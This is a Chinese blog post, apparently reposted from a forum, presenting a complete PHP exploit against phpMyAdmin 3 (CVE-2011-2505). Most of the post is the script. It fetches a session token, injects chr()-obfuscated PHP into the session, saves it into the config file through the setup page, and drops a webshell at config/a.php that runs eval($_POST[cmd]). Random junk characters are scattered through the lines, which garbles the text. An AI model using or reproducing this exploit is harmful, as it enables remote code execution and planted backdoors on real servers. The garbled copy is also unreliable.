最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。7 x" `) `% h8 e' u$ F
+ n, A. y0 X& d) d6 h, t: k
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。3 y- W% D" u. U- Q
& T+ u! V8 v( F3 P首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:' T' H" K) ^( M9 W4 Z8 Q
一是session.auto_start = 1;
- m3 {( B# ^$ \二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
; A: q, `' |5 c- M m当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
( L( T- @+ C _- d0 f$ n4 Z, |: T1 L2 O. a& n8 U/ J* O% K
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。' ^- w# j% {- h6 B7 j9 g: @' [
9 b+ W2 {, c9 T9 m3 T6 o% v于是写了这个php版本的exp,代码如下:, I$ s$ }4 j0 g5 z. x
& P. j. [" G( Z) @0 A#!/usr/bin/php
; |2 m" l- C6 m# ~" N0 u4 r2 e<?php
% p' R# \* x" j; Rprint_r('
9 O1 Y/ l- J6 L7 ^4 V- z8 y! P9 ^7 W+---------------------------------------------------------------------------+
4 o3 a2 a& ]* K* l/ wpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]" R+ `" n. _3 Z; T o( `
by oldjun(www.oldjun.com)' E! U5 w( L* n
welcome to www.t00ls.net% z) U5 U8 S8 H1 v& E. n" X
mail: oldjun@gmail.com9 a5 ]: V* W1 _' T1 q
Assigned CVE id: CVE-2011-2505+ ^! {& V! h; r, x& p
+---------------------------------------------------------------------------+
$ ^) @8 ~- G( W: Y# ]');
3 b9 z: `9 e/ b P1 {8 v7 C3 O' `5 j" B
/**' L1 a* }! F7 @( \ |3 P6 S# }
* working when the directory:"config" exists and is writeable.( A' `" S# N9 `2 Y1 T9 l, [
**/
8 V0 _+ N' o# U$ D2 [% x0 ] 1 F; B( b: L0 ^) X9 N8 i
if ($argc < 3) {
) T8 N- n9 h5 a/ G4 p print_r('* W$ |2 `: v* D& C; t
+---------------------------------------------------------------------------+
- y. O4 U& @% D( ^1 v- m: a; e8 hUsage: php '.$argv[0].' host path9 z6 \ o5 P9 b" T: T* l6 ]2 F7 P
host: target server (ip/hostname)* j% H, h+ R, `
path: path to pma3
- k+ N6 x+ {" a/ {" MExample:
* [# O0 S7 Y0 A& aphp '.$argv[0].' localhost /pma/
- e [, C7 B" W+---------------------------------------------------------------------------+! n. h/ d5 R2 D
');
" x t( B' y2 \' _/ a1 V) O/ b+ e exit;5 o8 c1 H V! L* R
}1 \) _5 R# ^; g: w
, u3 q) J& |1 j( r
$host = $argv[1];
8 i+ O: }3 w' Z% X4 j$path = $argv[2];
2 A- z" E+ g& ?6 F. p* d2 n+ X9 j
/**
- }/ W; @0 f. z$ b- a9 h' ^6 s * Try to determine if the directory:"config" exists/ k: j; C( M2 {, Q; l6 e
**/$ n1 F3 d' x- l
echo "[+] Try to determine if the directory:config exists....\n";6 d* y" Z3 ]: M# S# W/ A: `+ U
$returnstr=php_request('config/');
" \8 ~+ i8 o3 H k# rif(strpos($returnstr,'404')){
8 n' c3 Q# b Y" V( D exit("[-] Exploit Failed! The directory:config do not exists!\n");
- |/ L' s; N5 ~: t' P% I9 n. h: [}
8 {) e3 r6 q9 D* a u. b4 m! o3 E" k" o
/**1 H, L' O7 u/ Y2 N
* Try to get token and sessionid
4 ?4 W# d& p3 q0 d* x/ j) @. Q9 V**/
6 C- Z3 n9 h$ H+ T' v1 t0 d$ [echo "[+] Try to get token and sessionid....\n";
- }1 r' Q: M s" o" Y$result=php_request('index.php');* C, _/ d! w' U5 u
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);2 `% E" l; T2 Q# g
$token=$resp[3];1 `" l8 T1 t6 k* ?
$sessionid=$resp[1];. z* H2 v8 C, o( I: \5 x4 ]0 X
if($token && $sessionid){. d; |2 c0 y% ]' n/ `$ f/ l
echo "[+] token token\n";
- U* ?1 M. ?) K echo "[+] Session ID sessionid\n";
$ s; X* k: f: x3 B6 C}else{
c, Y3 K; H1 B) \; m exit("[-] Can't get token and Session ID,Exploit Failed!\n");$ s) e# @& Q5 |
}0 I, R" U9 A& J- O' y
& ~! r: h: C0 T8 J4 q `
/**" t: e+ @' b# b- ?
* Try to insert shell into session
0 `, D/ T3 V; L; }0 S6 @**/9 ^7 k2 E* B9 o. `: d
echo "[+] Try to insert shell into session....\n";
" q% k" r* H3 O6 q1 Lphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
3 q+ [* o4 b# b! ?) ]- s2 j1 w% L4 Y. s7 ?
/**
}+ v/ h5 }; T% o * Try to create webshell
* N% s! j Y8 I6 x+ j" ?5 ~; M4 ^**/
5 v2 G( J$ t: d |# Qecho "[+] Try to create webshell....\n";* F$ \& ]- W% X3 Z0 w1 f6 _' ]8 k
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);; _4 ~4 F1 l4 u6 p- F: l, n W
/**3 }; D7 c* }/ g- l7 P" ~$ G& b
* Try to check if the webshell was created successfully
" E% X9 x8 Y) Y8 D8 m1 t. m: U5 H**/2 v4 }4 m j; U2 j! ^% v
echo "[+] Try to check if the webshell was created successfully....\n";
! ?+ {6 a% u; {% d8 V' S) M: V$content=php_request('config/config.inc.php');
7 o0 ?" o4 z: X7 S2 Z6 vif(strpos($content,'t00ls')){
0 R# p2 A0 j7 s; J1 w echo "[+] Congratulations! Expoilt successfully....\n";
0 F8 P1 ~2 X I$ c echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
f/ }* F, r% P' \* m7 q}else{. C& e7 ~9 f+ E7 M% I2 l
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");5 o/ [, ]" u. M& s2 K; ~0 j' S
}
& Z9 |6 W( t2 _8 B' g
- g- O R1 H8 Xfunction php_request($url,$data='',$cookie=''){
1 ^; _) `8 H9 z% W global $host, $path;
9 i$ t8 q$ a* t- Z1 l
2 |3 K- J6 i+ i K1 q $method=$data?'POST':'GET';
. z- f7 t: p4 @5 V" O0 }: N
8 T" K3 z R+ Q1 `0 D; ?$ C $packet = $method." ".$path.$url." HTTP/1.1\r\n";
: L8 X% f7 [' J $packet .= "Accept: */*\r\n";
( e. f: C- T/ m9 Z7 o+ F $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";3 ]$ R2 [3 F O- T( Q8 Z! ?, g, t
$packet .= "Host: $host\r\n";
+ v! [$ | t+ g; g( n $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
; P/ a7 J: q$ V% g1 t/ t" z# A( ^ $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
/ X; x5 j! U' w* d# c" O) H( i $packet .= $cookie?"Cookie: $cookie\r\n":"";
: ^/ }7 {3 P; P- V+ Q $packet .= "Connection: Close\r\n\r\n";
1 P$ @( }4 {2 W: ] $packet .= $data?$data:""; w( E4 d; O- E+ k' p7 U! e
. K8 W+ }, N. j- K9 ]* j
$fp = fsockopen(gethostbyname($host), 80);
% A- G% U& z9 n3 P( r& g" w; h if (!$fp) {8 t9 c0 X n4 _! ] T9 o+ ?3 h0 w' g1 S; M
echo 'No response from '.$host; die;
2 x5 R" [) m7 W }
0 C+ {$ U8 q$ v8 q; C- h0 r fputs($fp, $packet);
6 ]7 T* L1 J) w q$ D1 _$ x
& j8 r1 _/ }7 V( T $resp = '';4 B# w" \- |+ D7 z
, i3 u; Z% n1 D, J6 p; i while ($fp && !feof($fp))
: d2 b6 j4 c/ N$ F9 d: \0 f# F( Q `* | $resp .= fread($fp, 1024);/ J. j2 h5 D( Q; D2 q, p" r" y
( I- c# b( Q9 t
return $resp;9 y a& j- A% T7 j; e
}
) N% _2 {" K4 R% |' ^% V6 b& p' |' V
; t0 o( J; U) I. d$ ^7 v" o8 J n?> 4 M# z7 G$ m+ C& O" o/ ?
. |